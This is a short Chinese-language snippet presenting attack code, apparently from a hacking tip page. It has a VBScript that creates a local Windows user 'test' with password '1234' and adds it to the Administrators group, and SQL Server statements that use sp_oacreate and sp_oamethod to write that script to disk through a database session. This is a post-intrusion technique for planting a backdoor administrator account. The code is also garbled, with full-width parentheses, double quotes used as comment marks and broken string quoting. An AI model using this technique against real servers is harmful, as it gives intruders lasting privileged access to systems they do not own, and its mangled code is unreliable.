vbs加administrator用户的代码

set wsnetwork=CreateObject（"WSCRIPT.NETWORK"）
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject（os） "得到adsi接口,绑定
Set oe=GetObject（os&"/Administrators,group"） "属性,admin组
Set od=ob.Create（"user","test"） "建立用户
od.SetPassword "1234" "设置密码
od.SetInfo "保存
Set of=GetObject（os&"/test",user） "得到用户
oe.add os&"/test"

SQL语句如下，采用sp_oamethod过程：

declare @o int, @f int, @ret int
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "createtextfile", @f out, "c:1.vbs", 1
exec @ret = sp_oamethod @f, "writeline", NULL,"set wsnetwork=CreateObject
（"WSCRIPT.NETWORK"）"
exec @ret = sp_oamethod @f, "writeline", NULL,"os="WinNT://"&wsnetwork.
ComputerName"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set ob=GetObject（os）"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set oe=GetObject
（os&"/Administrators,group"）"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set od=ob.Create
（"user","test"）"
exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetPassword "1234""
exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetInfo "
exec @ret = sp_oamethod @f, "writeline", NULL,"Set of=GetObject
（os&"/test",user） "
exec @ret = sp_oamethod @f, "writeline", NULL,"oe.add os&"/test""